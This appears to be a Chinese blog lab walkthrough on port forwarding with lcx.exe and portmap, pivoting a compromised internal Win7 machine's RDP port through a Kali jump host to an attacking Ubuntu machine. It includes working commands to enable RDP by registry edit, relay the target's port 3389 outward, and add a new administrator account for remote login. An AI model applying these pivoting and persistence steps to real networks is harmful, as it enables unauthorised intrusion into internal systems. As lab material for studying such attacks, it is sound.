端口转发之lcx与portmap结合利用

端口转发

端口转发(Port forwarding),有时被叫做隧道,是安全壳(SSH) 为网络安全通信使用的一种方法。

比如,我们现在在内网中,是没有办法直接访问外网的。但是我们可以通过路由器的NAT方式访问外网。假如我们内网现在有100台主机,那么我们现在都是通过路由器的这一个公网IP和外网通信的。那么,当互联网上的消息发送回来时,路由器是怎么知道这个消息是给他的,而另外消息是给你的呢?这就要我们的ip地址和路由器的端口进行绑定了,这时,在路由器中就会有一个内网ip和路由器端口对应的一张表。当路由器的10000端口收到消息时,就知道把消息发送给他,而当20000端口收到消息时,就知道把消息发送给你。这就是端口转发,其转发一个端口收到的流量,给另一个主机。

简单解释端口转发:
你给我了,我打开看看,发现这上面标志显示是要给张三,那么我就给张三去。如果标志是给李四,那我就再给李四去。

端口转发与端口映射的区别

转发的重点在“转”上面。送快递的过来,把所有快递都交给门口保安,保安再根据每件快递上的收件人来分发。映射,就是在大门口给每个人装个柜子,送快递的直接按收件人名字,把快递放到对应的柜子里面。

工具介绍

windows版lcx.exe,linunx版为portmap
对于不同的环境下可通过两者工具之间配合利用

lcx

经典的端口转发工具,基于Socket套接字的端口转发工具
在这里插入图片描述
Lcx有两大功能,一个是端口转发(listen和slave成对使用),另一个是端口映射(tran)
端口转发:
Lcx -Listen <监听slave请求的端口(对应slave 的第二个参数)> <等待连接的端口>
Lcx -slave <你的ip> <监听端口(对应listen的第一个参数)> <目标ip> <目标端口>
端口映射:
Lcx -tran <等待连接的端口> <目标ip> <目标端口>
如何使用请跳转至 lcx作端口映射

portmap

在这里插入图片描述
从图中可以看到一些参数应该都好理解。
这里有一个-m参数的解释:以以下哪种方式来用这个工具
然后下面有三个方式:
1.监听port1 端口并且连接主机2的port2 端口
2.监听port1和port2 端口
3.连接主机1对应的端口和主机2对应的端口

实验利用

在这里插入图片描述

  1. 攻击机:ubuntu —— 192.168.101.128
  2. 跳板机:kali2020 —— 192.168.101.129 ,10.10.10.130
  3. 靶    机:win7 —— 10.10.10.128

Win7靶机
首先在靶机先开启rdp端口
开启3389:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
查看远程终端:
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
(0xd3d 3389)
在这里插入图片描述
使用lcx工具及slave参数,命令表示,将靶机127.0.0.1或10.10.10.128的3389端口的所有数据转发到10.10.10.130(跳板机)
lcx.exe -slave 10.10.10.130 4444 127.0.0.1 3389
在这里插入图片描述
下图是靶机下工具正常使用的情况
在这里插入图片描述

Kali跳板机
使用portmap工具以第二种方式,因为不能用一个端口做两件事,所以需要监听本地4444端口,将其转发至跳板机即本地机器192.168.101.129的7777端口
./portmap -m 2 -p1 4444 -h2 192.168.101.129 -p2 7777
在这里插入图片描述

Ubuntu攻击机
使用ubuntu自带的remmina远程连接工具,尝试连接跳板机的7777端口,将访问到win7靶机的3389端口服务
在这里插入图片描述
尝试远程连接是没问题的在这里插入图片描述
原因是当前win7用户使用中(可通过切换到别的用户登录再远程当前用户试试)
在这里插入图片描述
尝试新建一个用户并纳入管理员组
在这里插入图片描述
连接新用户,可以看到正常使用
在这里插入图片描述

总结

当内网目标机器权限被拿下,外网机器又没办法直接连接内网机器服务,我们就可以将内网机器的服务端口转发到拥有内外网卡的机器即跳板机端口上,然后外网机器就可以访问内外网机器的转发端口即可访问到内网指定的服务。
 
参考链接:
https://xie1997.blog.csdn.net/article/details/84539150
 
GOT IT!

 
******************************************************
小实验小结,具体测试利用方式需根据具体实践场景~

端口映射器(Portmap) 1.0 使用说明 1、主要功能: 该工具可以将A机器上的某一个端口(可设置)映射到B机器的某个端口(可设置),也就是将这两个端口的数据传输对应起来,其工作流程是这样的: 在机器A的端口接收到连接请求以后,Portmap马上试图连接B机器的端口,连接成功后,Portmap就在这两个端口之间就建立起一条数据通路,进行数 据转发,任何一方关闭连接,数据通路就断开。 2、设置 所有的设置都在Portmap.ini中,每一个Entry代表建立一个数据转发器,一共支持1024个。 3、安装方式 系统可以以NT系统服务方式运行,也可以直接运行(9x下); 1、下载 直接将文件解压缩一个独立的目录下面(注意不能有空格和中文名), 2、安装服务 Portmapsvc -install 安装后,服务将把自己设为自动启动; 3、卸载服务 Portmapsvc -uninstall 4、启动和停止服务 请到NT服务控制器执行! 5、9x下直接运行 请在命令行下键入: Portmapsvc -run 即可. 4、Portmap.ini说明 Enable=1 ;; 1代表启用这个数据转发器, 0则相反 InnerIP=192.168.1.198 ;; B机器的IP地址 InnerPort=21 ;; B机器的端口 ServerIP=x.x.x.x ;; A机器的IP地址 ServerPort=5021 ;; A机器的端口 5、注册方式 该软件可以免费使用,但是如果你不希望每次启动时都打开注册对话框,你可以考虑注册,注册请联系: MSN: skyvense@msn.com ICQ: 104180227 OICQ: 2091910 Email: skyvense@online.sh.cn, skyvense@vip.sina.com 张小峰(2002/10/02 01:59)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值